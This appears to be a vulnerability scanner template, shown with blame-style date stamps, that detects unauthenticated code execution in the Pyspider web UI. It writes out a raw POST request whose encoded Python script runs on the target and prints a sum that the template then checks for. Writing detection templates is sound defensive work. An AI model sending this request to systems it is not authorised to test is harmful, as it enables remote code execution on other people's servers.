2022-04-11 07:06:33 +00:00
|
|
|
id: pyspider-unauthorized-access
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Pyspider Unauthorized Access
|
|
|
|
author: ritikchaddha
|
|
|
|
severity: high
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/ianxtianxt/Pyspider-webui-poc
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: pyspider,unauth
|
2022-04-11 07:06:33 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-04-11 07:06:33 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /debug/pyspidervulntest/run HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-04-11 20:04:02 +00:00
|
|
|
webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(452345672+%2B+567890765))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D
|
2022-04-11 07:06:33 +00:00
|
|
|
|
2022-10-07 21:27:25 +00:00
|
|
|
host-redirects: true
|
2022-04-11 07:06:33 +00:00
|
|
|
max-redirects: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-04-11 07:06:33 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-04-11 20:04:02 +00:00
|
|
|
part: body
|
2022-04-11 07:06:33 +00:00
|
|
|
words:
|
2022-04-11 20:04:02 +00:00
|
|
|
- "1020236437"
|
2022-04-11 07:06:33 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100c5f2a788d3bf667170701dc770cb58412fde4f0fad6c92c1f116011264c2678c022100f728a4ac9b0513ef90e7b0b6c5dcf69dc1e30d8f8b9222b1fa1f124f3ed5fe28:922c64590222798bb761d5b6d8e72950
|